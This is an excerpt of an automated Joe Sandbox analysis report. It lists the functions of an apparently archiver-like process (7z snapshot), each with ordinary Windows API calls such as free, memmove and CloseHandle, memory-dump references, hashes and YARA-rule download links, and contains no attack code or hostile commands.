Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: 68D0A7D170070981CE109726E4003A92321B758BC4F045021DD9D07314E92CC254CB00

Function 0002794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 0002795E

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: dc67625767d66f6f0ac0cc86752e92c3cbcbd5b94235b68f98654e882fab58bc
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 8AD0137571DA4581DF351F79E44037413969B55F74F184310C9B4493E4DF2584D6C711

Function 00028BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00028BB7

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: 08cd40f26c06af768680e6934c1cbe72a2bad67ca01d14b00b140be3b5444e6e
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: 1CB09220B12401C2CB0C6722E89232C13616789B61FE14429C90BD9650CD1D85E94700

Function 00053D58 Relevance: 1.3, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00053E2A

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID:
API String ID: 2114622545-0
Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction ID: 8376bbeb05096545c7cecac859f8b000376627cb46d0724cccce98d32f94d8fe
Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction Fuzzy Hash: 7D31AC33201B4186DB159F29E5943AAB3E5FB88FE1F1845249F5A077A5EF38C969C310

Function 0004373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000437FB

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: f44eb58cd66283c0d7145055cbf91fb7d3372b472810728570ac3810e5b32527
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: AD212BF370825096C734DB1AB84059F7694F785BA4F646238FEAA47784DB38C942C744

Function 00049078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,00049B61), ref: 0004911C

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrowmallocmemmove
String ID:
API String ID: 2847158419-0
Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction ID: db3b26b70e1df7d96e53eed288557878edc7acd51c782fb4d0d70c0217c304b9
Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction Fuzzy Hash: BA219D77201B4095DB51DF1AF814B2BB3A0E784FA8F198225DF68073A5DF38C492C740

Function 0002C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0002C995

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: d7ebc8625fcfce4a73ef832c7c3ece5772c9f29ecc64a00be930333c8a14ceef
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: 73113A627556B087FB70CB6CF458F2C62D1F700784B648036DACA8BA10DA6ACCD3D301

Function 00053EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0004419C: free.MSVCRT ref: 000441B9
Part of subcall function 0004419C: free.MSVCRT ref: 000441C5
Part of subcall function 0004419C: free.MSVCRT ref: 000441D1
Part of subcall function 0004419C: free.MSVCRT ref: 000441DD
Part of subcall function 0004419C: free.MSVCRT ref: 000441E6
Part of subcall function 0004419C: free.MSVCRT ref: 000441EF
Part of subcall function 0004419C: free.MSVCRT ref: 000441F8

free.MSVCRT ref: 00053F45

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction ID: 8924ab363f47d66f1d145d284283ddb75b3c68e2cc57a7cb95fe1955f4f2bd19
Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction Fuzzy Hash: 3F014C73A20390CACB219F1DC18116DBB64F759FE83689116EB4907760E732C887C7A1

Function 00028624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000286A9

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: 484e8102403bbc35b7d2aa2743b151c5a4ad3c177dd05ae1ed9d03534f6733f0
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: 65011D7A35725086E710CF14D56C39E7BA0B7D5B68F540208DBA84B3D2C77AC54ACBA4

Function 0002CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0002CBA8

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: 565c540bcc138c9f911aabad9acebbd71efad1d17b7c2231a042e9c5e7307c2d
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: 7CF0EC523141584BDB019F79A58176C21A1FB44795F905436DF4587601D738CC998714

Function 0002CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000289D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 000289EA

GetLastError.KERNEL32 ref: 0002CB49

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: 84dc2189ea93c10651062663afc4548ab8e801f1da482b2f40755c66732a0bb1
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: 98D02B447500E087FB616BB978D173C00C1A718B41FE01435DD5BC6203E518CCC96229

Function 00023314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00023339

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: eaf7147afa001710ca31b10a5a245cb742cd5c7d0bdeaa4a034a2360aba4b9c1
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: 12D05EA6B406D886CA04AB27D68155DA3229B8CFD4708D0349F090B70ACE20C8E68740

Function 000289D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 000289EA

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: 4e265c4677cc6f7e7e8cf62946547ebb4772ef26cf2a259039944b874d067c8e
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: 6BD0A77660294580DB251F7EE8403341391A725B74F1C8310CEB08A6D0DF2589D68301

Function 0002CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0002CE0D

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: 877ed77a57c93539632dff2311caff5e7d6d97410ba8305a00b0ded3f3d00afa
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: 21C08C0178225802E909226B3F86BAC02420FCABD1E8C40309E480BB53DAA48CF28B00

Non-executed Functions

Function 0002B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 0002B12A
FileTimeToSystemTime.KERNEL32 ref: 0002B13E

Strings

gfff, xrefs: 0002B1D7

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: gfff
API String ID: 1748579591-1553575800
Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction ID: cfd9690eb23d69a615242ef41432a9b1a91df4f5255590533290f807bbef0cf6
Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction Fuzzy Hash: D351A893B042D04BD719CB3CE846BCDBFC1E3A5758F48822ADB9587785E26DC50AC721

Function 00037178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000371FD

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction ID: acb73a769770a2bf1369c2b98a6959143bf497d2ec5b2af9f440442d4b5a1fd5
Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
Instruction Fuzzy Hash: 9C71B072208A4091DB71EF65E8503AE77A5FBD5BD4F440122EF5E87766EF28C5A6C300

Function 00063148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00063184
fputs.MSVCRT ref: 00063194
fputs.MSVCRT ref: 000631E1
fputs.MSVCRT ref: 000631F1

Strings

= , xrefs: 0006318D, 000631EA
WARNING, xrefs: 000631DA
WARNINGS:, xrefs: 000631BE
ERROR, xrefs: 0006317D
ERRORS:, xrefs: 00063164

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs
String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
API String ID: 1795875747-2836439314
Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction ID: 41dd99b1138730d5d167460d24862a6c0f650f3cc887ec0304a580a2e76b80a6
Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction Fuzzy Hash: 2711D3B5704951A2FB24DF26E9453986762F705BC5F089022CF4D07A60DFBCDAA8C300

Function 000630CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 000630E7
fputs.MSVCRT ref: 00063104
fputs.MSVCRT ref: 00063114

Part of subcall function 00022320: free.MSVCRT ref: 0002237E
Part of subcall function 00022320: fputs.MSVCRT ref: 000223B8
Part of subcall function 00022320: free.MSVCRT ref: 000223C4

fputs.MSVCRT ref: 00063132

Strings

] archive, xrefs: 00063125
WARNING, xrefs: 000630F0
Open , xrefs: 000630DD
ERROR, xrefs: 000630F7
: Can not open the file as [, xrefs: 0006310D

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs$free
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 3873070119-2741933734
Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction ID: d44ee3ccfa7ba894f20ec85d21aa97431b0d3920f6fe3cbc0d45c2f1472b409a
Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction Fuzzy Hash: 7BF0F965704E16E1EE10DF66F8943A96322BB59FD5F84A022DE5E033A4EFBCD659C300

Function 0002F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0002F0FA
free.MSVCRT ref: 0002F103
free.MSVCRT ref: 0002F10C
free.MSVCRT ref: 0002F115
free.MSVCRT ref: 0002F11E
free.MSVCRT ref: 0002F127
free.MSVCRT ref: 0002F130
free.MSVCRT ref: 0002F139
free.MSVCRT ref: 0002F141

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction ID: 451584aa9aa12385ed9875fe80f74c656c90e062c8db4844586d3664b489812b
Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction Fuzzy Hash: 350121637119A09ACB10FEB6EC915AC3720EBE5BD8B984171BF1D4B756DE60C8728344

Function 00053162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00053174
free.MSVCRT ref: 0005317E
free.MSVCRT ref: 00053189
free.MSVCRT ref: 00053197
free.MSVCRT ref: 000531C0
free.MSVCRT ref: 000531C9
free.MSVCRT ref: 000531D7
free.MSVCRT ref: 000531E2

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction ID: 071bf42f19bdee60493ef038b57334a4b1b8d39b099103df7140eb398faa3cf7
Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction Fuzzy Hash: B1F0362224A5A055CA14FF72E455DAF5751FBD7F81F442461EB4E53717CE28C426C604

Function 000530A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 000530BA
free.MSVCRT ref: 000530C4
free.MSVCRT ref: 000530CF
free.MSVCRT ref: 000530DD
free.MSVCRT ref: 00053104
free.MSVCRT ref: 0005310D
free.MSVCRT ref: 0005311B
free.MSVCRT ref: 00053126

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction ID: 9fd305c58a62431535d7c6ebce6755822a0c5ddcca5351b6e440f497d6ee877f
Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction Fuzzy Hash: 6EF0542224A9A051CA24FF72E4A5EAF6720FBD3F85F451051EF4E23713CE28C476C204

Function 0004D078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0004D0AB
free.MSVCRT ref: 0004D0B8
free.MSVCRT ref: 0004D0EB
free.MSVCRT ref: 0004D0F3
free.MSVCRT ref: 0004D103
free.MSVCRT ref: 0004D10D
free.MSVCRT ref: 0004D117

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
